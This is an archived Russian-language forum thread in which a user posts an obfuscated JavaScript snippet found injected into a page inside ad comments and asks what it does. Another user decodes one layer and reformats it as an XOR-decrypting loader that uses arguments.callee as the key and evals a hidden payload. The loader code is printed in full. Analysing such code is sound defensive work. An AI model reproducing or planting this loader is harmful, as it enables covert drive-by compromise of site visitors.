PDA

Просмотр полной версии : что за вредоностный код?


#Wolf#
17.01.2009, 14:02
сабж. знакомый у себя нашел херь какую то.
в яве не силен. и хотелось бы узнать функционал кода. спасибо.
без стеба

<!-- ad --><script>window['eAvLaklq'.replace(/[qL1Ak]/g, '')](window['eAvLaklq'.replace(/[qL1Ak]/g, '')]
('uzndezsTc,azpdez'.replace(/[,zd;T]/g, ''))
('%66%75%6e%63%74%69%6f%6e%20%48%49%61%47%28%41%41 %50%61%4c%29%7b%66%75%6e%63%74%69%6f%6e%20%41%4c%5 4%28%41%44%61%50%49%49%29%7
b%65%76%61%6c%28%22%76%61%72%20%41%49%4c%41%49%49% 3d%30%3b%22%29%3b%76%61%72%20%50%61%50%3d%41%44%61 %50%49%49%2e%6c%65%6e%67%74%68%
3b%65%76%61%6c%28%22%76%61%72%20%50%41%61%61%3d%30 %3b%22%29%3b%77%68%69%6c%65%28%50%41%61%61%3c%50%6 1%50%29%7b%41%49%4c%41%49%49%2b%3d%
48%70%49%47%28%41%44%61%50%49%49%2c%50%41%61%61%29 %2a%50%61%50%3b%50%41%61%61%2b%2b%3b%7d%72%65%74%7 5%72%6e%20%28%41%49%4c%41%49%49%2b%27%2
7%29%3b%7d%66%75%6e%63%74%69%6f%6e%20%48%70%49%47% 28%48%70%47%6c%47%2c%48%70%49%61%29%7b%72%65%74%75 %72%6e%20%48%70%47%6c%47%2e%63%68%61%72%43%6
f%64%65%41%74%28%48%70%49%61%29%3b%7d%20%20%20%74% 72%79%20%7b%76%61%72%20%41%4c%61%50%4c%3d%65%76%61 %6c%28%27%61%7c%72%29%67%3e%75%40%6d%26%65%29%
6e%26%74%26%73%26%2e%29%63%7c%61%29%6c%26%6c%3e%65 %3e%65%26%27%2e%72%65%70%6c%61%63%65%28%2f%5b%26%5 c%3e%40%5c%29%5c%7c%5d%2f%67%2c%20%27%27%29%29%2c
50%68%48%54%3d%27%27%3b%76%61%72%20%41%44%54%41%44 %3d%30%2c%4c%41%61%48%68%3d%30%2c%48%49%41%41%3d%2 8%6e%65%77%20%53%74%72%69%6e%67%28%41%4c%61%50%4c% 2
9%29%2e%72%65%70%6c%61%63%65%28%2f%5b%5e%40%61%2d% 7a%30%2d%39%41%2d%5a%5f%2e%2c%2d%5d%2f%67%2c%27%27 %29%3b%76%61%72%20%50%6c%41%41%50%3d%41%4c%54%28%4 8%4
9%41%41%29%3b%65%76%61%6c%28%22%41%41%50%61%4c%3d% 75%6e%65%73%63%61%70%65%28%41%41%50%61%4c%29%3b%22 %29%3b%66%6f%72%28%76%61%72%20%41%44%41%54%54%41%5 4%61%
3d%30%3b%20%41%44%41%54%54%41%54%61%20%3c%20%28%41 %41%50%61%4c%2e%6c%65%6e%67%74%68%29%3b%20%41%44%4 1%54%54%41%54%61%2b%2b%29%7b%76%61%72%20%4c%61%41% 49%54%3
d%48%70%49%47%28%48%49%41%41%2c%41%44%54%41%44%29% 5e%48%70%49%47%28%50%6c%41%41%50%2c%4c%41%61%48%68 %29%3b%76%61%72%20%41%4c%4c%50%3d%48%70%49%47%28%4 1%41%50%6
1%4c%2c%41%44%41%54%54%41%54%61%29%3b%41%44%54%41% 44%2b%2b%3b%4c%41%61%48%68%2b%2b%3b%69%66%28%4c%41 %61%48%68%3e%50%6c%41%41%50%2e%6c%65%6e%67%74%68%2 9%4c%41%61%4
8%68%3d%30%3b%69%66%28%41%44%54%41%44%3e%48%49%41% 41%2e%6c%65%6e%67%74%68%29%41%44%54%41%44%3d%30%3b %50%68%48%54%2b%3d%53%74%72%69%6e%67%2e%66%72%6f%6 d%43%68%61%72%
43%6f%64%65%28%41%4c%4c%50%5e%4c%61%41%49%54%29%20 %2b%20%27%27%3b%7d%65%76%61%6c%28%50%68%48%54%29%3 b%20%72%65%74%75%72%6e%20%50%68%48%54%3d%6e%75%6c% 6c%3b%7d%63%61%
74%63%68%28%65%29%7b%7d%7d%48%49%61%47%28%27%25%33 %32%25%33%36%25%33%31%25%33%36%25%33%31%25%33%39%2 5%33%31%25%33%36%25%36%38%25%33%37%25%33%66%25%33% 37%25%33%30%25%3
2%30%25%34%31%25%33%39%25%35%33%25%34%36%25%33%63% 25%32%63%25%32%30%25%33%62%25%37%38%25%32%64%25%32 %39%25%31%36%25%33%65%25%34%36%25%31%38%25%34%38%2 5%33%33%25%30%65%
25%31%33%25%30%64%25%33%65%25%31%33%25%33%64%25%32 %65%25%36%39%25%33%34%25%33%31%25%31%64%25%31%39%2 5%30%65%25%32%34%25%33%65%25%31%33%25%36%34%25%32% 64%25%33%35%25%32
%35%25%31%35%25%37%66%25%37%37%25%31%61%25%31%34%2 5%32%32%25%30%37%25%31%35%25%31%35%25%33%38%25%37% 33%25%35%65%25%37%63%25%33%65%25%36%62%25%32%64%25 %32%36%25%32%63%25
%36%64%25%37%64%25%31%65%25%32%37%25%33%30%25%31%3 1%25%34%64%25%37%66%25%37%37%25%37%36%25%32%38%25% 30%36%25%33%65%25%32%39%25%33%35%25%30%62%25%31%39 %25%33%34%25%33%35%
25%34%38%25%30%32%25%30%63%25%35%38%25%30%63%25%31 %66%25%31%64%25%30%30%25%31%34%25%31%66%25%30%34%2 5%31%65%25%35%66%25%31%38%25%30%36%25%33%64%25%30% 35%25%35%66%25%34%3
4%25%30%63%25%30%64%25%35%39%25%32%33%25%33%32%25% 31%35%25%31%39%25%31%35%25%31%32%25%33%33%25%33%61 %25%33%35%25%33%36%25%32%37%25%32%30%25%36%34%25%3 6%34%25%32%66%25%32
%38%25%31%66%25%30%65%25%31%38%25%35%38%25%35%34%2 5%37%66%25%37%34%25%37%31%25%35%38%25%36%36%25%33% 30%25%37%30%25%32%62%25%31%63%25%33%64%25%33%39%25 %30%35%25%33%63%
25%33%30%25%31%38%25%33%66%25%30%34%25%36%39%25%31 %34%25%36%39%25%35%38%25%30%37%25%33%32%25%33%32%2 5%32%38%25%32%36%25%32%31%25%33%38%25%30%62%25%32% 32%25%32%32%25
%32%63%25%35%36%25%33%33%25%37%35%25%36%39%25%37%3 1%25%37%38%25%35%35%25%30%30%25%37%38%25%32%30%25% 31%35%25%33%36%25%33%38%25%33%64%25%30%63%25%32%35 %25%31%64%2
5%32%32%25%33%61%25%33%33%25%33%32%25%36%62%25%35% 66%25%31%35%25%33%32%25%33%39%25%31%39%25%33%62%25 %33%33%25%37%30%25%37%31%25%37%38%25%37%33%25%37%3 8%25%34%
65%25%35%32%25%33%66%25%33%62%25%33%62%25%33%30%25 %32%37%25%37%61%25%33%62%25%31%35%25%37%30%25%33%3 8%25%33%62%25%33%37%25%36%36%25%36%35%25%33%35%25% 33%36%
25%31%63%25%33%36%25%33%62%25%33%30%25%33%35%25%33 %65%25%37%63%25%37%31%25%30%32%25%34%30%25%31%35%2 5%34%62%25%37%63%25%37%37%25%33%65%25%31%62%25%31% 34%
25%31%36%25%32%32%25%31%65%25%32%65%25%37%38%25%35 %33%25%30%62%25%32%62%25%31%63%25%32%61%25%36%34%2 5%37%37%25%31%33%25%31%64%25%31%38%25%30%35%25%32
%33%25%37%63%25%32%37%25%32%36%25%32%38%25%32%37%2 5%32%63%25%33%31%25%33%39%25%31%36%25%35%64%25%37% 66%25%37%39%25%30%35%25%35%34%25%32%62%25%31%3
2%25%30%36%25%30%35%25%37%38%25%37%65%25%34%65%25% 31%62%25%37%65%25%32%37%25%33%31%25%32%64%25%33%34 %25%33%61%25%34%37%25%31%64%25%34%31%25%35
%32%25%36%32%25%36%37%25%33%63%25%31%32%25%37%35%2 5%30%31%25%32%36%25%31%30%25%34%65%25%36%64%25%35% 65%25%34%62%27%29%3b'));</script><!-- /ad -->

или вот http://orangsoda.co.cc/code.txt

Ponchik
17.01.2009, 14:06
В этом многабуквеном коде зашифровано
function HIaG(AAPaL){function ALT(ADaPII){eval("var AILAII=0;");var PaP=ADaPII.length;eval("var PAaa=0;");while(PAaa<PaP){AILAII+=HpIG(ADaPII,PAaa)*PaP;PAaa++;}return (AILAII+'');}function HpIG(HpGlG,HpIa){return HpGlG.charCodeAt(HpIa);} try {var ALaPL=eval('a|r)g>u@m&e)n&t&s&.)c|a)l&l>e>e&'.replace(/[&\>@\)\|]/g, '')),50hHT='';var ADTAD=0,LAaHh=0,HIAA=(new String(ALaPL)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var PlAAP=ALT(HIAA);eval("AAPaL=unescape(AAPaL);");for(var ADATTATa=0; ADATTATa < (AAPaL.length); ADATTATa++){var LaAIT=HpIG(HIAA,ADTAD)^HpIG(PlAAP,LAaHh);var ALLP=HpIG(AAPaL,ADATTATa);ADTAD++;LAaHh++;if(LAaHh>PlAAP.length)LAaHh=0;if(ADTAD>HIAA.length)ADTAD=0;PhHT+=String.fromCharCode(ALLP ^LaAIT) + '';}eval(PhHT); return PhHT=null;}catch(e){}}HIaG('%32%36%31%36%31%39%31% 36%68%37%3f%37%30%20%41%39%53%46%3c%2c%20%3b%78%2d %29%16%3e%46%18%48%33%0e%13%0d%3e%13%3d%2e%69%34%3 1%1d%19%0e%24%3e%13%64%2d%35%25%15%7f%77%1a%14%22% 07%15%15%38%73%5e%7c%3e%6b%2d%26%2c%6d%7d%1e%27%30 %11%4d%7f%77%76%28%06%3e%29%35%0b%19%34%35%48%02%0 c%58%0c%1f%1d%00%14%1f%04%1e%5f%18%06%3d%05%5f%44% 0c%0d%59%23%32%15%19%15%12%33%3a%35%36%27%20%64%64 %2f%28%1f%0e%18%58%54%7f%74%71%58%66%30%70%2b%1c%3 d%39%05%3c%30%18%3f%04%69%14%69%58%07%32%32%28%26% 21%38%0b%22%22%2c%56%33%75%69%71%78%55%00%78%20%15 %36%38%3d%0c%25%1d%22%3a%33%32%6b%5f%15%32%39%19%3 b%33%70%71%78%73%78%4e%52%3f%3b%3b%30%27%7a%3b%15% 70%38%3b%37%66%65%35%36%1c%36%3b%30%35%3e%7c%71%02 %40%15%4b%7c%77%3e%1b%14%16%22%1e%2e%78%53%0b%2b%1 c%2a%64%77%13%1d%18%05%23%7c%27%26%28%27%2c%31%39% 16%5d%7f%79%05%54%2b%12%06%05%78%7e%4e%1b%7e%27%31 %2d%34%3a%47%1d%41%52%62%67%3c%12%75%01%26%10%4e%6 d%5e%4b');
Юзай urldecode

#Wolf#
17.01.2009, 14:08
спасибо. а функционал кода не подскажеТЕ? (т.е что он делает?)

Ponchik
17.01.2009, 14:14
На вот тебе в нормальный вид перевёл
function HIaG(AAPaL){
function ALT(ADaPII){
eval("var AILAII=0;");
var PaP=ADaPII.length;
eval("var PAaa=0;");
while(PAaa<PaP){
AILAII+=HpIG(ADaPII,PAaa)*PaP;PAaa++;
}return (AILAII+'');
}
function HpIG(HpGlG,HpIa){
return HpGlG.charCodeAt(HpIa);
} try {
var ALaPL=eval('a|r)g>u@m&e)n&t&s&.)c|a)l&l>e>e&'.replace(/[&\>@\)\|]/g, '')),50hHT='';
var ADTAD=0,LAaHh=0,HIAA=(new String(ALaPL)).replace(/[^@a-z0-9A-Z_.,-]/g,'');
var PlAAP=ALT(HIAA);
eval("AAPaL=unescape(AAPaL);");
for(var ADATTATa=0; ADATTATa < (AAPaL.length); ADATTATa++){
var LaAIT=HpIG(HIAA,ADTAD)^HpIG(PlAAP,LAaHh);
var ALLP=HpIG(AAPaL,ADATTATa);
ADTAD++;
LAaHh++;
if(LAaHh>PlAAP.length)LAaHh=0;
if(ADTAD>HIAA.length)ADTAD=0;
PhHT+=String.fromCharCode(ALLP^LaAIT) + '';
}eval(PhHT);
return PhHT=null;
}catch(e){}
}
HIaG('%32%36%31%36%31%39%31%36%68%37%3f%37%30%20%4 1%39%53%46%3c%2c%20%3b%78%2d%29%16%3e%46%18%48%33% 0e%13%0d%3e%13%3d%2e%69%34%31%1d%19%0e%24%3e%13%64 %2d%35%25%15%7f%77%1a%14%22%07%15%15%38%73%5e%7c%3 e%6b%2d%26%2c%6d%7d%1e%27%30%11%4d%7f%77%76%28%06% 3e%29%35%0b%19%34%35%48%02%0c%58%0c%1f%1d%00%14%1f %04%1e%5f%18%06%3d%05%5f%44%0c%0d%59%23%32%15%19%1 5%12%33%3a%35%36%27%20%64%64%2f%28%1f%0e%18%58%54% 7f%74%71%58%66%30%70%2b%1c%3d%39%05%3c%30%18%3f%04 %69%14%69%58%07%32%32%28%26%21%38%0b%22%22%2c%56%3 3%75%69%71%78%55%00%78%20%15%36%38%3d%0c%25%1d%22% 3a%33%32%6b%5f%15%32%39%19%3b%33%70%71%78%73%78%4e %52%3f%3b%3b%30%27%7a%3b%15%70%38%3b%37%66%65%35%3 6%1c%36%3b%30%35%3e%7c%71%02%40%15%4b%7c%77%3e%1b% 14%16%22%1e%2e%78%53%0b%2b%1c%2a%64%77%13%1d%18%05 %23%7c%27%26%28%27%2c%31%39%16%5d%7f%79%05%54%2b%1 2%06%05%78%7e%4e%1b%7e%27%31%2d%34%3a%47%1d%41%52% 62%67%3c%12%75%01%26%10%4e%6d%5e%4b');